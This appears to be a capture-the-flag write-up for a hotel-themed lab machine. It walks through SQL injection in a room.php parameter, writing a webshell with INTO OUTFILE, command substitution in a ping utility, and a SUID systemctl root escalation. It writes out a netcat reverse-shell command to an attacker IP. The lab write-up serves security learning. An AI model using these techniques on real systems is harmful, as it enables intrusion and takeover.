Skip to main content

Enumeration

Run Nmap Scan

View Website

Port 80

6e2d4d6354c5e1b1a42f78cd8aba6929.png

Port 64999

Untitled LOL…..

Directory Bruteforcing (Run Gobuster)

Found /phpmyadmin which is used for php management tool, but since I have no credentials, I will just leave it.

Update Host

Enumerating Website

Untitled Here it just looks like any other hotel website Untitled The website has a query that is cod=1, what if we do cod=-1 ? Untitled It only returns the basic ui without any other information. What if this is a database?

Exploitation

SQL Injection in the URL Query

Testing SQL Injection in URL Query

Untitled
-- is a commenting section in SQL
/room.php?cod=1-- returns the same result as /room.php?cod=1 . We can assume the there is no sql syntax after this url query. Untitled
‘ will break the sql syntax as there probably will be a single quote after this sql syntax.
/room.php?cod=1'-- breaks the code

Enumerating how the SQL work in the website

Untitled

Retrieving the Database Information

Untitled The name of the database is hotel and it’s using 10.1.37-MariaDB-0+deb9u1. The username for running the database program is DBadmin@localhost.

Retrieving /etc/passwd

I used burp suite to retrieve etc/passwd as the website couldn’t output the information to the website. Untitled

Output information to Text File

Untitled into outfile '/var/www/html/passwd.txt' this produces passwd.txt that can be viewed through supersecurehotel.htb/passwd.txt

Generating a Webshell

I placed a webshell code inside so it can be written to /var/www/html/shell.php Untitled Since I wrote the webshell at union select 2, we can know that the code worked successfully

Listen to Reverse Shell and Exploit

Used curl to send a command to shell.php to execute a reverse shell.

Privilege Escalation

Checking Available Privilege

We can use pepper’s privilege to execute the program, which can lead us to potential privilege escalation from www-data to pepper

Privilege Escalation to Pepper

/var/www/Admin-Utilities/Simpler.py

Here the function exec_ping() is the code that we will exploit. However, we can see there are some special chars that are not allowed to use.

Exploiting Simpler.py

Since I was not allowed to use any special characters, I had to bypass the restrictions in order to exploit it. Hence, I used command substitution to bypass it. which will lead the following code to ping 127.0.0.1 & nc <attacker ip> 4445 -e /bin/bash"

Listen to Reverse Shell and Exploit

Privilege Escalation from Pepper to Root

Enumerating SUID Privilege

Interestingly Systemctl has a SUID privilege, which we might able to exploit!

Looking for systemctl SUID exploit

[systemctl | GTFOBins](https://gtfobins.github.io/gtfobins/systemctl/)

If you failed the first try, restart the service

Listen to Reverse Shell and Exploit

This is the script that I used to escalate from pepper to root. It’s almost the same except the command executed